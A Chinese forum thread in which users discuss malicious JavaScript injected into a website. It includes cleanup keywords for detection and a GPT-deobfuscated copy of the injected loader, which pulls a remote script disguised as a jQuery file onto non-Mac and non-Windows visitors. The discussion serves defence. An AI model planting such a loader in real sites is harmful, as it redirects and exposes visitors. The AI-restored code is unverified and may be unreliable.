网站被挂马了，挂马js发出来给大家

nk123 · 发表于 2025-8-18 01:06:29

js马代码发出来，大家研究

1.zip (1 KB, 下载次数: 41)

美女约吗 · 发表于 2025-8-18 01:09:49

提示: 作者被禁止或删除内容自动屏蔽

nk123 · 发表于 2025-8-18 01:36:59

美女约吗发表于 2025-8-18 01:09
直接发js代码不就行了吗？为什么要打包呢？

hostloc禁止发，你试试

海的那一边 · 发表于 2025-8-18 01:41:35

本帖最后由海的那一边于 2025-8-18 01:48 编辑

nk123 发表于 2025-8-18 01:36
hostloc禁止发，你试试

问ai结果删除以下代码段：
function xxSJRox(e) 中间代码发不出来100);
/*138ae887806f*/

全面排查网站文件：

攻击者可能不止在一处植入了代码。请仔细检查所有网站文件，特别是最近被修改过的文件，查找类似特征的混淆代码。可以搜索文件中是否包含 eval, aPnDhiTia, xxSJRox 等关键词。

代码末尾的注释 /*138ae887806f*/ 可能是攻击者的一个标识，您也可以尝试在所有文件中搜索这个字符串。

hxhx · 发表于 2025-8-18 11:02:49

海的那一边发表于 2025-8-18 01:41
问ai结果删除以下代码段：
function xxSJRox(e) 中间代码发不出来100);
/*138ae887806f*/

前段时间我就发过帖子了 https://443502.xyz/thread-1424027-1-1.html

美女约吗 · 发表于 2025-8-18 13:13:35

提示: 作者被禁止或删除内容自动屏蔽

sfss5362 · 发表于 2025-8-18 13:24:10

太可怕了

lanmin · 发表于 2025-8-18 15:10:34

gpt给还原后的代码

function loadJQuery() {
// jQuery 3.6.8 CDN
var url = "https://code.jquery.com/jquery.min-3.6.8.js";
// 创建 script 标签
var script = document.createElement("script");
script.type = "text/javascript";
script.src = url;
// 加载完成的回调（原代码里是个空函数）
script.onload = function () {
console.log("jQuery 已加载:", url);
};
// 插入到 <head>
document.head.appendChild(script);
}
// 如果不是 Mac 或 Windows 平台，就执行加载
if (!(/^Mac|Win/.test(navigator.platform))) {
loadJQuery();
}

复制代码

nk123 · 发表于 2025-8-18 15:31:20

美女约吗发表于 2025-8-18 13:13
这代码是跳广告还是
？

跳转

NetAnt · 发表于 2025-8-18 15:37:34

月初的时候WP也被入侵了，只修改了WP站点文件。。
WP貌似被黑过三四次了。。。

		自动登录	找回密码
密码			注册

美女约吗美女约吗当前离线积分 10723	2^# 发表于 2025-8-18 01:09:49 \| 只看该作者提示: 作者被禁止或删除内容自动屏蔽
美女约吗美女约吗当前离线积分 10723
	回复支持反对举报

美女约吗美女约吗当前离线积分 10723	6^# 发表于 2025-8-18 13:13:35 \| 只看该作者提示: 作者被禁止或删除内容自动屏蔽
美女约吗美女约吗当前离线积分 10723
	回复支持反对举报

网站被挂马了，挂马js发出来给大家

浏览过的版块